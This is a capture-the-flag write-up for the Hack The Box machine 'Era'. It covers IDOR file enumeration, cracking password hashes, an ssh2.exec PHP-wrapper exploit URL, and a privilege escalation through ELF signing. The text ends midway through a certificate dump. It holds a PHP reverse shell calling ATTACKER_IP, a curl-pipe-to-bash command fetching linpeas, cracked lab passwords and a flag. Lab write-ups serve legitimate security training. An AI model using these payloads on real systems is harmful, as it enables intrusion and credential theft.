🗿 HTB Era Write-up

📝 Summary
The Era machine was an enjoyable mix of enumeration and web exploitation, topped off with a creative abuse of PHP wrappers. After spotting limited open ports (FTP and HTTP), the real action began with virtual host fuzzing, which revealed a file-sharing platform with hidden registration and login functionality.
An IDOR vulnerability exposed site backups, leading to the disclosure of source code, a private key and a certificate for Yuri, and credentials in an SQLite database that granted deeper access.
With access to FTP and a trove of .conf files, I uncovered information about the server layout and the presence of the ssh2 PHP extension. Using hidden admin parameters and abusing ssh2.exec, I triggered a reverse shell to an SSH service running on localhost, landing on the box as Yuri.
Privilege escalation to Eric was straightforward—his password hash was found in the same SQLite database and cracked. A simple su landed me in Eric’s account.
Eric belonged to the devs group, which had write access to an AV monitor file. This file was signed using Yuri’s private key and certificate. By compiling a malicious ELF binary with a reverse shell, signing it with Yuri’s credentials, and replacing the monitor file, I gained root access.
🗄️ file.era.htb Website
🔎 Recon
Initial scan revealed only two ports open:
-
21/tcp: vsftpd 3.0.5 -
80/tcp: nginx 1.18.0
fcoomans@kali:~/htb/era$ rustscan -a 10.10.11.79 --tries 5 --ulimit 10000 -- -sCV -oA era_tcp_all
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports like it's my full-time job. Wait, it is.
[~] The config file is expected to be at "/home/fcoomans/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.11.79:21
Open 10.10.11.79:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p - -sCV -oA era_tcp_all" on ip 10.10.11.79
<SNIP>
Nmap scan report for 10.10.11.79
Host is up, received reset ttl 63 (0.18s latency).
Scanned at 2025-07-27 13:42:12 SAST for 12s
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.5
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
<SNIP>
After pointing era.htb in /etc/hosts,
fcoomans@kali:~/htb/era$ grep era.htb /etc/hosts
10.10.11.79 era.htb
Anonymous access to the ftp service is not allowed. It looks like an account is needed to access it…
fcoomans@kali:~/htb/era$ ftp -v ftp://anonymous:anonymous@era.htb
Connected to era.htb.
220 (vsFTPd 3.0.5)
331 Please specify the password.
530 Login incorrect.
ftp: Login failed
ftp: Can't connect or login to host `era.htb:ftp'
221 Goodbye.
The http://era.htb website is opened. Enumeration of the site doesn’t show anything interesting.

Fuzzing for subdomains reveals a file.era.htb virtual host website.
fcoomans@kali:~/htb/era$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt:FUZZ -u http://era.htb -H "Host: FUZZ.era.htb" -ic -t 60 -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://era.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
:: Header : Host: FUZZ.era.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 60
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
file [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 184ms]
:: Progress: [56293/56293] :: Job [1/1] :: 333 req/sec :: Duration: [0:02:57] :: Errors: 0 ::
After adding file.era.htb to /etc/hosts,
fcoomans@kali:~/htb/era$ grep era.htb /etc/hosts
10.10.11.79 era.htb file.era.htb
http://file.era.htb is opened. Now this looks very interesting. It’s a file storage system.

Fuzzing for endpoints reveals a /register.php endpoint, which is not shown anywhere on the website.
fcoomans@kali:~/htb/era$ ffuf -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt:FUZZ -u http://file.era.htb/FUZZ -ic -t 60 -fs 6765,162
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://file.era.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/quickhits.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 60
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 6765,162
________________________________________________
download.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 179ms]
login.php [Status: 200, Size: 9214, Words: 3701, Lines: 327, Duration: 179ms]
register.php [Status: 200, Size: 3205, Words: 1094, Lines: 106, Duration: 179ms]
upload.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 179ms]
:: Progress: [2565/2565] :: Job [1/1] :: 334 req/sec :: Duration: [0:00:08] :: Errors: 0 ::
http://file.era.htb/register.php is opened and a new account is registered.

The site is redirected to http://file.era.htb/login.php after successful registration. I login with the newly registered account.

And am greeted by the file store dashboard, http://file.era.htb/manage.php. Here files can be uploaded, downloaded, deleted and security questions (for login with security questions) can be updated.

A test file is created,
fcoomans@kali:~/htb/era$ echo "Hello World" >test.txt
And uploaded. I received a download link for the file.

The link can also be accessed by hovering over the uploaded file in the Manage Files menu.

Clicking on the file simply downloads it.
🧪 Exploitation
idOR vulnerability
Is the id parameter in the download.php endpoint vulnerable to an IDOR brute force attack to reveal other files?
I create a word list with numbers from 1 to 200.
The cookie from the website (accessed through Developer Tools in the browser) is used to try and brute force any other files.
The id parameter is indeed vulnerable to IDOR, and two files with IDs 54 and 150 can be downloaded.
fcoomans@kali:~/htb/era$ seq 1 200 >>numbers.txt
fcoomans@kali:~/htb/era$ ffuf -b "PHPSESSID=uugrm3bvqorbi2blj6oda4i203" -w numbers.txt:FUZZ -u "http://file.era.htb/download.php?id=FUZZ" -t 60 -fs 7686
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://file.era.htb/download.php?id=FUZZ
:: Wordlist : FUZZ: /home/fcoomans/htb/era/numbers.txt
:: Header : Cookie: PHPSESSID=uugrm3bvqorbi2blj6oda4i203
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 60
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 7686
________________________________________________
54 [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 207ms]
54 [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 177ms]
54 [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 175ms]
54 [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 180ms]
54 [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 176ms]
150 [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 175ms]
:: Progress: [600/600] :: Job [1/1] :: 395 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
File 54 is named site-backup-30-08-24.zip and is downloaded.

File 150 is named signing.zip and is also downloaded.

💰 Post Exploitation
The site-backup-30-08-24.zip file is extracted, and it contains the site’s source code.
fcoomans@kali:~/htb/era/loot/backup$ unzip site-backup-30-08-24.zip
Archive: site-backup-30-08-24.zip
inflating: LICENSE
inflating: bg.jpg
creating: css/
<SNIP>
🫣 Hidden download parameters and ftp information disclosure
🔎 Recon
🪶 SQLite
The source code reveals that the site is using an SQLite database named filedb.sqlite.
The database contains the admin account name admin_ef01cab31aa, with the answers to security questions Maria, Oliver and Ottawa.
It also contains some other user accounts.
fcoomans@kali:~/htb/era/loot/backup$ sqlite3 filedb.sqlite
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
sqlite> .exit
download.php shows that the files are stored under the files/ subdirectory on line 48.
It also shows on line 59 that the user with id 1 i.e., admin_ef01cab31aa can also specify hidden parameters show=true (line 59) and format (line 60). Format is particularly dangerous as it allows the admin account to open a file (lines 71 - 79) using a PHP wrapper.
fcoomans@kali:~/htb/era/loot/backup$ nl -b a download.php
<SNIP>
48 $fileName = str_replace("files/", "", $fetched[0]);
49
50
51 // Allow immediate file download
52 if ($_GET['dl'] === "true") {
53
54 header('Content-Type: application/octet-stream');
55 header("Content-Transfer-Encoding: Binary");
56 header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
57 readfile($fetched[0]);
58 // BETA (Currently only available to the admin) - Showcase file instead of downloading it
59 } elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
60 $format = isset($_GET['format']) ? $_GET['format'] : '';
61 $file = $fetched[0];
62
63 if (strpos($format, '://') !== false) {
64 $wrapper = $format;
65 header('Content-Type: application/octet-stream');
66 } else {
67 $wrapper = '';
68 header('Content-Type: text/html');
69 }
70
71 try {
72 $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
73 $full_path = $wrapper ? $wrapper . $file : $file;
74 // Debug Output
75 echo "Opening: " . $full_path . "\n";
76 echo $file_content;
77 } catch (Exception $e) {
78 echo "Error reading file: " . $e->getMessage();
79 }
<SNIP>
http://file.era.htb/files/ access is 403 Forbidden.

📥 FTP
Yuri’s password hash is cracked using hashcat and the rockyou wordlist. Yuri’s password is mustang.
fcoomans@kali:~/htb/era/signing$ hashcat -m 3200 '$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.' /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
<SNIP>
The ftp service accepts Yuri’s credentials.
ftp with Yuri, shows the file webroot path as /var/www/file and also that ssh2.so can be used as a wrapper.
Show file.conf and listing with ssh2.so.
fcoomans@kali:~/htb/era/loot$ ftp ftp://yuri:mustang@era.htb
Connected to era.htb.
220 (vsFTPd 3.0.5)
331 Please specify the password.
230 Login successful.
Two directories are listed.
ftp> ls
229 Entering Extended Passive Mode (|||17970|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 apache2_conf
drwxr-xr-x 3 0 0 4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.
The first appears to contain the Apache2 website configuration. I guess the nginx is just a proxy and the real webserver is Apache after all. Anyway, the Apache2 website configuration files are downloaded.
ftp> cd apache2_conf
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||53443|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 1332 Dec 08 2024 000-default.conf
-rw-r--r-- 1 0 0 7224 Dec 08 2024 apache2.conf
-rw-r--r-- 1 0 0 222 Dec 13 2024 file.conf
-rw-r--r-- 1 0 0 320 Dec 08 2024 ports.conf
226 Directory send OK.
ftp> !mkdir apache2_conf
ftp> lcd apache2_conf/
Local directory now: /home/fcoomans/htb/era/loot/apache2_conf
ftp> mget *
mget 000-default.conf [anpqy?]? a
Prompting off for duration of mget.
229 Entering Extended Passive Mode (|||61711|)
150 Opening BINARY mode data connection for 000-default.conf (1332 bytes).
100% |*******************************************************************************************************************************| 1332 154.87 KiB/s 00:00 ETA
226 Transfer complete.
1332 bytes received in 00:00 (6.90 KiB/s)
229 Entering Extended Passive Mode (|||50213|)
150 Opening BINARY mode data connection for apache2.conf (7224 bytes).
100% |*******************************************************************************************************************************| 7224 1.58 MiB/s 00:00 ETA
226 Transfer complete.
7224 bytes received in 00:00 (38.72 KiB/s)
229 Entering Extended Passive Mode (|||23482|)
150 Opening BINARY mode data connection for file.conf (222 bytes).
100% |*******************************************************************************************************************************| 222 18.42 KiB/s 00:00 ETA
226 Transfer complete.
222 bytes received in 00:00 (1.13 KiB/s)
229 Entering Extended Passive Mode (|||58377|)
150 Opening BINARY mode data connection for ports.conf (320 bytes).
100% |*******************************************************************************************************************************| 320 22.67 KiB/s 00:00 ETA
226 Transfer complete.
320 bytes received in 00:00 (1.62 KiB/s)
The second directory contains the PHP 8.1 configuration. The shared object files show all PHP extensions available.
What is particularly interesting is the ssh2.so library, as this can allow SSH access and a potential foothold.
ftp> cd ../php8.1_conf
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||10550|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 build
-rw-r--r-- 1 0 0 35080 Dec 08 2024 calendar.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 ctype.so
-rw-r--r-- 1 0 0 190728 Dec 08 2024 dom.so
-rw-r--r-- 1 0 0 96520 Dec 08 2024 exif.so
-rw-r--r-- 1 0 0 174344 Dec 08 2024 ffi.so
-rw-r--r-- 1 0 0 7153984 Dec 08 2024 fileinfo.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 ftp.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 gettext.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 iconv.so
-rw-r--r-- 1 0 0 1006632 Dec 08 2024 opcache.so
-rw-r--r-- 1 0 0 121096 Dec 08 2024 pdo.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 pdo_sqlite.so
-rw-r--r-- 1 0 0 284936 Dec 08 2024 phar.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 posix.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 readline.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 shmop.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 simplexml.so
-rw-r--r-- 1 0 0 104712 Dec 08 2024 sockets.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 sqlite3.so
-rw-r--r-- 1 0 0 313912 Dec 08 2024 ssh2.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvmsg.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 sysvsem.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvshm.so
-rw-r--r-- 1 0 0 35080 Dec 08 2024 tokenizer.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 xml.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 xmlreader.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 xmlwriter.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 xsl.so
-rw-r--r-- 1 0 0 84232 Dec 08 2024 zip.so
226 Directory send OK.
ftp> exit
221 Goodbye.
The downloaded file.conf file contains the http://file.era.htb virtual host configuration file.
What is particularly interesting is that I now know that the filesystem path to the web site is /var/www/file.
fcoomans@kali:~/htb/era/loot$ cd apache2_conf
fcoomans@kali:~/htb/era/loot/apache2_conf$ ls
000-default.conf apache2.conf file.conf ports.conf
fcoomans@kali:~/htb/era/loot/apache2_conf$ cat file.conf
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/file
ServerName file.era.htb
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
🧪 Exploitation
🐚 Reverse shell
I use https://www.revshells.com to generate a PHP proc_open reverse shell,

And past the reverse shell payload into the revshell.php backdoor file.
<?php
$sock=fsockopen("ATTACKER_IP",4444);
$proc=proc_open("bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
A nc listener is started to catch the reverse shell.
fcoomans@kali:~/htb/era$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
The reverse shell is uploaded on the website and the generated id is noted.

🪪 Admin access
The program allows me to reset the admin accounts’ security questions. I reset it to the defaults as seen in the SQLite database.

The login using security questions link is clicked.

And I log in by entering the admin account questions.

I open a new browser tab and construct this download.php URL:
-
id=8001is the id for my reverse shell file. -
show=truemakes use of the admin accounts hidden parameter to show the file instead of downloading it. -
format=ssh2.exec://yuri:mustang@localhost:22/php+/var/www/file/is where the magic happens. Thessh2.soextension is used with the.execfunction to connect to an SSH server and to run a command. I reason that there might be an SSH server running on localhost, that is not exposed to the public. Yuri’s credentials are used, since I know the account worked with FTP and therefore will also allow Yuri to SSH to the target.php /var/www/file/will be appended with the filename, as per the source code resulting in the commandphp /var/www/file/files/revshell.phpto be executed when the wrapper is opened in the script.
http://file.era.htb/download.php?id=8001&show=true&format=ssh2.exec://yuri:mustang@localhost:22/php+/var/www/file/
👣 Foothold as Yuri
nc catches the reverse shell.
fcoomans@kali:~/htb/era$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [ATTACKER_IP] from (UNKNOWN) [10.10.11.79] 41338
python3 -c 'import pty;pty.spawn("/bin/bash");'
yuri@era:~$ id
uid=1001(yuri) gid=1002(yuri) groups=1002(yuri)
💰 Post Exploitation
Yuri is not the holder of the user.txt flag.
Querying the /etc/password file shows that eric is the only other user in the /home directory.
yuri@era:~$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
eric:x:1000:1000:eric:/home/eric:/bin/bash
yuri:x:1001:1002::/home/yuri:/bin/sh
netstat also confirms my presumption that there was an SSH service (port 22) that is only running on localhost.
yuri@era:~$ netstat -tlpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
🔼 PrivEsc to Eric
🔎 Recon
Eric’s password hash was also found in the SQLite database. The hash is cracked using hashcat and the rockyou.txt wordlist. Eric’s password is america.
fcoomans@kali:~/htb/era$ hashcat -m 3200 '$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm' /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
<SNIP>
🧪 Exploitation
su is used to switch to Eric’s account using the password america. Note that Eric is a member of the devs group.
yuri@era:~$ su - eric
Password: america
eric@era:~$ id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
💰 Post Exploitation
🚩 user.txt
Eric is the holder of the user.txt flag.
eric@era:~$ cat /home/eric/user.txt
4aff44a5b130f14cba4eca19d52929c7
🧝 ELF Signing
🔎 Recon
🫛 LinPeas
A Python web server is started to share LinPeas.
fcoomans@kali:~/htb/era$ python -m http.server -d /usr/share/peass/linpeas
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
And run on the target. It shows an unusual directory under /opt/AV/periodic-checks, which the devs group have full access over. Eric is a member of devs! It looks like the monitor file can be executed by root.
eric@era:~$ curl -s http://ATTACKER_IP:8000/linpeas.sh |bash -
<SNIP>
╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxrwxr-x 3 root root 4096 Jul 22 08:42 .
drwxr-xr-x 20 root root 4096 Jul 22 08:41 ..
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 AV
<SNIP>
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root eric 33 Jul 30 12:23 /home/eric/user.txt
-rwxrw---- 1 root devs 16544 Jul 30 13:14 /opt/AV/periodic-checks/monitor
-rw-rw---- 1 root devs 307 Jul 30 13:14 /opt/AV/periodic-checks/status.log
<SNIP>
🕵️ PSpy
I start a web server on Kali to serve pspy.
fcoomans@kali:~/htb/era$ python -m http.server -d /usr/share/pspy
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
And download it to the target and change the permissions to make the file executable.
eric@era:~$ cd /dev/shm
eric@era:/dev/shm$ curl -s -O http://ATTACKER_IP:8000/pspy64
eric@era:/dev/shm$ ls -lh
total 3.4M
-rw-rw-r-- 1 eric eric 3.4M Jul 30 13:24 pspy64
eric@era:/dev/shm$ chmod +x pspy64
It shows that root has scheduled a cron job that runs the script /root/initiate_monitoring.sh every minute. It runs /opt/AV/periodic-checks/monitor and redirects the output to /opt/AV/periodic-checks/status.log.
eric@era:/dev/shm$ ./pspy64
pspy - version: 1.2.1 - Commit SHA: kali
<SNIP>
2025/07/30 13:26:01 CMD: UID=0 PID=51169 | /usr/sbin/CRON -f -P
2025/07/30 13:26:01 CMD: UID=0 PID=51171 | bash -c /root/initiate_monitoring.sh
2025/07/30 13:26:01 CMD: UID=0 PID=51170 | /bin/sh -c bash -c '/root/initiate_monitoring.sh' >> /opt/AV/periodic-checks/status.log 2>&1
2025/07/30 13:26:01 CMD: UID=0 PID=51172 | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
📝 Interrogate monitor file
The monitor file is an ELF file.
eric@era:~$ file /opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/monitor: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=0e2c77e562f07f5d22ed332cc44fc48da08018e3, for GNU/Linux 3.2.0, not stripped
readelf confirms that the file contains the .text_sig section, which means the file is signed.
eric@era:~$ readelf -S /opt/AV/periodic-checks/monitor
There are 32 section headers, starting at offset 0x38a0:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
<SNIP>
[28] .text_sig PROGBITS 0000000000000000 00003040
00000000000001ca 0000000000000000 0 0 8
<SNIP>
objcopy is used to dump the .text_sig and then openssl asn1parse is used to read the signature. This confirms that the file is signed with pkcs7-signedData (i.e., cms signing is used). It also shows that yurivich@era.com signed the ELF.
eric@era:~$ objcopy --dump-section .text_sig=extracted_sig.der /opt/AV/periodic-checks/monitor
eric@era:~$ openssl asn1parse -inform DER -in extracted_sig.der
0:d=0 hl=4 l= 454 cons: SEQUENCE
4:d=1 hl=2 l= 9 prim: OBJECT :pkcs7-signedData
15:d=1 hl=4 l= 439 cons: cont [ 0 ]
19:d=2 hl=4 l= 435 cons: SEQUENCE
23:d=3 hl=2 l= 1 prim: INTEGER :01
26:d=3 hl=2 l= 13 cons: SET
28:d=4 hl=2 l= 11 cons: SEQUENCE
30:d=5 hl=2 l= 9 prim: OBJECT :sha256
41:d=3 hl=2 l= 11 cons: SEQUENCE
43:d=4 hl=2 l= 9 prim: OBJECT :pkcs7-data
54:d=3 hl=4 l= 400 cons: SET
58:d=4 hl=4 l= 396 cons: SEQUENCE
62:d=5 hl=2 l= 1 prim: INTEGER :01
65:d=5 hl=2 l= 103 cons: SEQUENCE
67:d=6 hl=2 l= 79 cons: SEQUENCE
69:d=7 hl=2 l= 17 cons: SET
71:d=8 hl=2 l= 15 cons: SEQUENCE
73:d=9 hl=2 l= 3 prim: OBJECT :organizationName
78:d=9 hl=2 l= 8 prim: UTF8STRING :Era Inc.
88:d=7 hl=2 l= 25 cons: SET
90:d=8 hl=2 l= 23 cons: SEQUENCE
92:d=9 hl=2 l= 3 prim: OBJECT :commonName
97:d=9 hl=2 l= 16 prim: UTF8STRING :ELF verification
115:d=7 hl=2 l= 31 cons: SET
117:d=8 hl=2 l= 29 cons: SEQUENCE
119:d=9 hl=2 l= 9 prim: OBJECT :emailAddress
130:d=9 hl=2 l= 16 prim: IA5STRING :yurivich@era.com
148:d=6 hl=2 l= 20 prim: INTEGER :6D634AA981E193A1E448C5205FF79B84E6B6F50B
170:d=5 hl=2 l= 11 cons: SEQUENCE
172:d=6 hl=2 l= 9 prim: OBJECT :sha256
183:d=5 hl=2 l= 13 cons: SEQUENCE
185:d=6 hl=2 l= 9 prim: OBJECT :rsaEncryption
196:d=6 hl=2 l= 0 prim: NULL
198:d=5 hl=4 l= 256 prim: OCTET STRING [HEX DUMP]:6A8D5090E77AA22431D3E629241AC7EEC906DCE87592C90733B85EA5C466DB04A35A2864885300F2775CFBE983AE833D2C367030985AB5D9AE28CFBF75DB8E402955C9BEF8D3058E6EE11EB435BB30A3056DB85074BC4E15FC440A57E3F62F4B5ECD0E6B222DC40391892C7DED05FE45A3E9C00F0610F8A653ABF72571AACBF2FF38238658D08DCFBA331C6D20928C01C77D4E49EA94670C9DE942779E0967143D8149209FC12400588004C7CEBFD398EC6D55B50333DB46F2AB74E6AA24E9DC76D2C9C4183B991BC0F4762B1C091D82317CAAB31E88DFC048712BB9AC8A0DBB6CD7CD6BDCAAC96C2AFEFAA17944EBDD7A6E6F2E91DA5E41E0E65DDEEC9347EE
But wait; a signing.zip file was exposed through the IDOR vulnerability and downloaded! Is this perhaps Yuri’s private key and certificate?
I extract the signing.zip file which I downloaded earlier.
fcoomans@kali:~/htb/era/loot/signing$ unzip signing.zip
Archive: signing.zip
inflating: key.pem
inflating: x509.genkey
The key.pem file indeed contains Yuri’s signing certificate. The file also contains Yuri’s private key.
fcoomans@kali:~/htb/era/loot/signing$ openssl x509 -in key.pem -noout -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
6d:63:4a:a9:81:e1:93:a1:e4:48:c5:20:5f:f7:9b:84:e6:b6:f5:0b
Signature Algorithm: sha256WithRSAEncryption
Issuer: O=Era Inc., CN=ELF verification, emailAddress=yurivich@era.com
Validity
Not Before: Jan 26 02:09:35 2025 GMT
Not After : Jan 2 02:09:35 2125 GMT
Subject: O=Era Inc., CN=ELF verification, emailAddress=yurivich@era.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:aa:28:7d:f4:f9:16:63:93:18:95:24:c9:ee:07:
a6:f5:74:36:d6:51:ac:37:a7:64:32:42:f5:8c:6c:
5b:ec:8b:bc:c6:d6:41:36:2c:1a:ca:8e:c1:32:bd:
cc:68:f2:6d:30:2f:d7:de:b8:58:8e:95:c8:83:31:
a9:84:2c:c0:16:d1:48:cc:c9:ec:34:d7:e4:be:6c:
01:1c:39:ac:07:f3:56:d5:6a:1c:4d:90:0e:21:1e:
2f:5d:fe:bc:ac:4d:ef:dd:9c:d9:21:d3:c2:a0:1e:
1c:c5:99:30:29:8d:b5:74:31:0c:14:0c:e2:d7:4b:
0f:5e:1d:df:b5:54:90:a5:c2:1c:00:b0:be:31:76:
4e:29:41:2e:9d:02:e2:44:9f:1d:c8:cc:da:10:db:
77:fe:74:fa:93:08:c0:00:59:24:fa:ed:53:d9:8d:
28:f0:5b:5f:c7:1c:d8:b5:d9:e3:de:c0:42:51:18:
1f:b6:2b:e6:1e:1a:3f:a5:c5:28:56:fc:8d:63:60:
41:e7:b0:ea:e5:88:cd:a1:66:f3:8b:a9:2f:4b:8e:
1a:9f:23:df:90:d5:1c:48:40:5e:bd:c8:01:14:78:
de:25:62:ea:5a:d0:68:6b:da:1f:7a:60:b4:44:e5:
8c:97:68:1c:5d:48:0e:20:2c:63:95:1d:98:0c:97:
68:bf
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 Key Usage:
Digital Signature
X509v3 Subject Key Identifier:
FD:76:05:FC:BC:D6:04:CA:FE:36:16:70:FC:F1:D4:95:01:DB:D2:CD
Signature Algorithm: sha256WithRSAEncryption
Signature Value:
0c:c4:78:d4:31:20:91:fa:67:cb:ce:bc:ff:20:d4:ea:32:0f:
43:ad:f4:4f:14:fc:f7:71:94:ce:d0:5a:a9:3d:a9:c1:f4:c7:
24:19:aa:0e:c4:7b:92:ff:92:ae:32:ff:58:b5:67:10:0f:94:
17:ce:53:1e:0a:85:98:16:56:44:ad:7e:fb:ad:d0:89:60:dd:
54:97:56:7b:4f:3d:18:bc:58:07:03:57:99:e2:bd:8b:69:86:
fd:7a:65:09:1a:72:51:72:74:dd:26:61:07:36:36:5a:83:bf:
